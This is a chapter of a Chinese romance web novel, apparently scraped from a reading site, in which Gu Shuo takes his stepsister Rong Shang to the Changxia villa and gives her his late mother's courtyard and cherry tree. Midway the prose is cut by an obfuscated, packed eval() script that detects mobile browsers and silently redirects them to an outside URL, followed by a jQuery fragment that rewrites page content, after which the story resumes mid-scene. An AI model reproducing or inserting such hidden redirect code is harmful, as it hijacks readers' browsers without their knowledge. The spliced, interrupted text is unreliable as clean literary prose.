荣裳也不明白,自己为何会在顾铄面前痛哭。
大概是刚刚见过装满儿时美好回忆的院子,或者是顾铄身上类似父亲身上的墨香。
这些,都引发了她的眼泪。
她哭了一路,顾铄君子知礼,没有碰她,也没有将她粗暴的拉起来说别哭了。
他只是沉默的陪伴了她一路,让她的心间,越发的潮湿。
最终,荣裳还是擦干了眼泪。
她从顾铄膝上爬起,用手遮着眼睛带着哭腔道:“我这个样子一定很丑。”
自她小时候起,只要她哭闹,那一双眼睛便会肿得如行杏仁核桃一般,所以,她便养成了鲜少流泪的习惯。
这时,顾铄才开了金口,“怎么会?”
少女牛奶白皮微红,似动了情,他庆幸,只有他瞧见过她这个模样。
只是,若是她以后的夫君惹得她哭了,她也会是在这个模样?顾铄的一颗心,突然似乎被人拧了一下。
“我....”荣裳不知道说什么好,只见顾铄将一块凉凉的帕子放到了她手中,“敷一敷眼睛吧。”
荣裳乖乖的接过帕子,将它敷在眼睛上,只露出了秀挺的鼻子与红润的唇。
她不知道自己在看他,刚刚才预备对别人动金钗的少女,她全心全意的相信着自己,如同一只初生的小兽。
顾铄从来没有过如此新奇的感受,他想摸一摸荣裳的头,但想着他们毕竟还隔了一层,便将手又放弃了,“你若是去了顾国公府,那儿为你准备了一个专门的院落,你若是想摘樱花树、桃树、梨树,都是可以的。”
荣裳笑了,她的声音这种还带着抽泣,“我才不种那么多呢,伺候起它们来,真是难为。”
“哪儿要你伺候?”顾铄声音里带着笑意,“那些小厮和婆子算什么?”
荣裳没有继续这个话题下去,她觉得,为了母亲,她不会去顾国公府,她应该离得远远的,才能保证母亲的幸福。
顾铄不明白荣裳百转千回的心思,他只觉得少女话语中似乎有些期待,但很快便隐没了。
马车一路前行,停下来的时候,荣裳掀开了帘子,才发现,自己到达的并不是宋府。
她面上没有惊慌之色,只是有些好奇的看向了顾铄,“哥哥,这是哪儿?”
顾铄下了马车,又将荣裳扶了下来,他指了指前边道:“你瞧瞧这是哪儿?”
旁边的下人都低着头,对荣裳一双红肿的眼睛视而不见。
荣裳抬头,见那古朴巍峨的两扇大门,大门之上写着的,便是“长夏山庄”四个大字。
“你这个模样回宋府,只怕要吓到你的舅母。”顾铄的声音里多了几分打趣,“还不如在长夏山庄住上几日。”
“我能在长夏山庄住上几日吗?”荣裳红肿的双眼顿时变得明亮起来。
“当然可以。”顾铄指了指长夏山庄的大门,“只要你想,随时可以来。”
跟着顾铄的仆从们心中有些称奇,毕竟,顾铄对于旁人都十分冷淡,大家都没有想到,他对这个名义上的妹妹,倒是多了几分耐心与温柔。
荣裳疾步往前走,顾铄跟在她的后边,两人将众人甩到身后。
从京城而来跟在荣裳身边的徐嬷嬷觉得有些不妥,虽然荣裳与顾铄两人是继兄妹的关系,但荣裳并没有上顾国公府的族谱。
可是她在京城顾国公府的时候便知道顾世子的性子,是最说一不二的,她也只好默默地闭上自己的嘴巴,不再说话。
长夏山庄的空气十分清新,荣裳深呼吸了一口,绿叶的青草香冲入她的心间,让她豁然开朗起来,
天色渐暗,夕阳流光,而缓缓起来的蚊虫声似奏乐,让人心间平和。
顾铄见她的眉目之间和缓了不少,才与她言道,“我母亲当年旅居江南之时,院子里也有一颗樱花树,你要不要去瞧瞧?”
长公主的院子里也有?荣裳点了点头,“我想去看。”
荣裳拒绝了软轿,与顾铄一路行走,到了长公主曾经住过的院落。
这院落被打理得极好,郁郁葱葱的松树在院间,让院中安静又祥和。
荣裳走了一路,没有见到那樱花树,她正准备开口问,却见一颗巨大的樱花树出现在了她的眼帘。
“这...”荣裳开口喟叹道:“这也太美了吧。”
樱花花瓣如云一般绽放在树间,柔风袭来,花瓣随着风旋转到荣裳的裙边,荣裳伸手抓住了,带着笑意看了一眼顾铄。
顾铄看着这樱花,似陷入了回忆中,“我从前最不喜欢的便是这棵树。”
“最不喜欢?”荣裳双目充满了惊讶,她简直不敢相信,这世上还有不喜欢樱花的人。
“我母亲花粉过敏。”顾铄接过了春风吹来的樱花花瓣,这花瓣在他纤长的手指中显得格外的脆弱又美丽,“每到春天,她都要为花粉症所扰。”
原来是这样。荣裳指了指那樱花树道:“那为何它还留着?”
“因为它实在美丽。”顾铄回忆起自己母亲与他所说的话,“所以即使有花粉症,可能忍一忍。”
“那长公主必定是十分惜花的人了。”荣裳在顾铄膝上痛哭一场后,对这个哥哥显得更加的坦然,言谈之间便没有了那么多惧怕。
母亲这话中大有深意,可惜年少的顾铄没有读清楚,到了后来,母亲去世之前,叫着的名字,才让顾铄明白了,母亲为何要常来长夏山庄旅居,又为何要容忍这颗樱花树。
再高贵美丽的公主,都会为情而忧愁。
顾铄将花瓣揉碎了,催荣裳道:“上前看看。”
荣裳快步往前,走到樱花树下,她抬头看着看叠叠层层的樱花,才明白了顾铄的心间所想,他是为了安慰她,才带她来这里吗?
“这院子,以后便是你的了。”顾铄言道。
荣裳听到,有些慌张的挥了挥手,“我,我不配。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228412|165907||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
这是长公主住过的,她定然不敢造次。
“我母亲说过,若是有缘人,将这院子交给她便是。”顾铄从回忆中走出,他指了指眼前的樱花树,“虽然不能将那院子里的樱花树移出,但见了它,你应当心中时有欣慰。”
他并不知道,他莫名的,实现了荣裳从小到大的愿望。
她从小,便想着有一颗属于自己的樱花树,宋梁妍花粉过敏,她便不好再提,荣家院子里的那颗,已经算不上是她的。
可如今,顾铄大方的送了她一颗独属于她的樱花树。
荣裳一双眼睛亮晶晶的看向了顾铄,“那我便多谢哥哥了!”
顾铄被她双目中的快乐所震动,只将目光移到了樱花树身上。
以前,他觉得这樱花树实在太媚俗又太柔弱了些,如今,它能让荣裳觉得快乐,他才觉得这樱花树,多了几分用处。
荣裳带着丫鬟、婆子安置在了这院落之中。
这院落似乎一直住等待着它主人的到来,一切衣裳首饰用物都整洁如初。
让众人啧啧称奇,一想到这么美好的院落是他们主子的了。
彩霞与绿枝脸上的微笑便停不下来,自从遇上了顾世子,果然一切都是好事。
王氏见顾铄遣人来的报信,只怕长夏山庄的小丫鬟伺候不惯荣裳,又派了几个小丫鬟过来。
这门里门外的,似乎仍在宋府一般热闹。
可是还是不一样了。荣裳在木桶中泡着樱花浴,她多了一颗属于她的樱花树。
徐嬷嬷刚刚瞧见了荣裳从马车上下来萎靡不振的模样,又见荣裳来了长夏山庄容光焕发,心中默默叹了一口气。
她总觉得有些不对,可这不对也不知道从何而来。
荣裳沐浴完,又穿着家常的衣裳派人在樱花树下摆了小机,一个人看了许久的书,才在厢房中沉沉睡去。
徐嬷嬷打开床幔,见床榻之间的荣裳唇角带着笑,叹了口气。
虽然住在长夏山庄,但荣裳并不是时刻能遇见顾铄。
她并不求着要见顾铄,她觉得顾铄在外边,自然有他的事。
倒是宋府送了信来,王氏在信中颇为忧虑,说向家上门提亲,态度很是诚恳,但顾铄与她说过了,荣裳的亲事,暂且缓缓。
王氏觉得向家这桩亲事实在是不错,便来问问荣裳,到底是什么心思。
荣裳不好在信间说向家的不好,她只与王氏道,自己一切听哥哥的。
王氏见着信长叹了一口气,裳裳天真可爱,对顾世子也太过于信赖了一些。
只不过顾世子如此说,必然有他的道理。
向家屡次下拜帖给荣裳,王氏都说荣裳不在,向家又将拜帖下到了长夏山庄。
当然,这些拜帖荣裳是见也没见过的。
向氏如此殷勤,让王氏都觉得不对,她便缓了接荣裳回来的心思。
毕竟,长夏山庄才最是清净。